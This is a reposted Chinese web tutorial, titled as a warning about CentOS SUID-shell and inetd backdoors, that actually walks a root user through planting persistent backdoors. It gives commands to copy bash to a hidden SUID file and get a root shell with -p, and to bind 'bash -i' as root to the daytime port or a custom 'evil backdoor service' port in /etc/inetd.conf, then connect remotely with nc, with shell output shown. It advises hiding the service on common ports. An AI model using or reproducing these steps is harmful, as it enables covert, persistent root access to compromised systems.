欢迎登陆真网站,您的到来是我们的荣幸。 登陆 注册 忘记密码? ☆设为首页 △加入收藏
欢迎加入真幸福QQ群
电脑知识: 基础知识 网络技术 操作系统 办公软件 电脑维修 电脑安全 windows7 windows8 windows10 服务器教程 平板电脑 视频播放教程 网络应用 互联网 工具软件 浏览器教程 QQ技巧 输入法教程 影视制作 YY教程 wps教程 word教程 Excel教程 PowerPoint
云南西双版纳特产小花糯玉米真空包装


LINUX系统怎么使用命令清理磁盘空间?
CentOS系统里彻底的清空终端屏幕的方法
CentOS系统备份脚本详解
新浪微博钱包免密码服务怎么设置
Linux系统iis无法正常运行asp文件怎么解决
CentOS中禁止用户ssh和sftp登陆的详解
CentOS里alias命令讲解
CentOS里egrep命令详解
centos下iostat命令如何安装与使用?
CentOS服务器上如何查找肉鸡
CentOS小心被suid shell与inetd后门利用的详细讲解
【 来源:网络 】【 点击:8 】 【 发布时间:2017_03_03 08:59:59 】

   CentOS小心被suid shell与inetd后门利用的详细讲解

          你现在已经是root用户,想留一个后门。

CentOS小心被suid shell与inetd后门利用的详细讲解   三联

  系统环境:

  dawg:~#uname-a

  Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

  1.SUIDshell

  首先,先切换成为root用户,并执行以下的命令:

  dawg:~#cp/bin/bash/.wootdawg:~#chmod4755/.wootdawg:~#ls-al/.woot-rwsr-xr-x1rootroot690668Jul2417:14/.woot

  当然,你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件(在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏).

  现在,做为一个普通用户,我们来启用这个后门:

  fw@dawg:~$iduid=1000(fw)gid=1000(fw)groups=1000(fw)fw@dawg:~$/.woot.woot-2.05b$iduid=1000(fw)gid=1000(fw)groups=1000(fw).woot-2.05b$

  为什么不行呢?

  因为bash2针对suid有一些护卫的措施.但这也不是不可破的:

  .woot-2.05b$/.woot-p

  .woot-2.05b#id

  uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

  使用-p参数来获取一个rootshell.这个euid的意思是effectiveuserid(关于这些ID的知识,可以戳这里)

  这里要特别注意的是,作为一个普通用户执行这个SUIDshell时,一定要使用全路径。

  小知识:

  如何查找那些具有SUID的文件:

  dawg:~#find/-perm+4000-ls

  这时就会返回具有SUID位的文件啦。

  2.远程后门:利用/etc/inetd.conf

  我们使用vi来修改/etc/inetd.conf文件

  原文件:

  #chargendgramudpwaitrootinternal

  #discardstreamtcpnowaitrootinternal

  #discarddgramudpwaitrootinternal

  #daytimestreamtcpnowaitrootinternal

  修改为:

  #discardstreamtcpnowaitrootinternal

  #discarddgramudpwaitrootinternal

  daytimestreamtcpnowaitroot/bin/bashbash-i

  开启inetd:

  dawg:~#inetd

  如果要强制重启inetd:

  dawg:~#ps-ef|grepinetdroot36210Jul22?00:00:00/usr/sbin/inetdroot1376913643017:51pts/100:00:00grepinetddawg:~#kill-HUP362

  现在我们就可以用nc来爆菊了:

  C:tools192.168.1.77:inversehostlookupfailed:h_errno11004:NO_DATA

  (UNKNOWN)[192.168.1.77]13(daytime)open

  bash:nojobcontrolinthisshell

  bash-2.05b#bash-2.05b#

  bash-2.05b#iduid=0(root)

  gid=0(root)groups=0(root)bash-2.05b#uname-a

  Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

  小贴士:

  我们可以修改/etc/services文件,加入以下的东西:

  woot6666/tcp#evilbackdoorservice

  然后修改/etc/inetd.conf:

  wootstreamtcpnowaitroot/bin/bashbash-i

  我们可以修改成一些常见的端口,以实现隐藏。

本网站由川南居提供技术支持,fkzxf版权所有 浙ICP备12031891号
淳安分站 淳安分站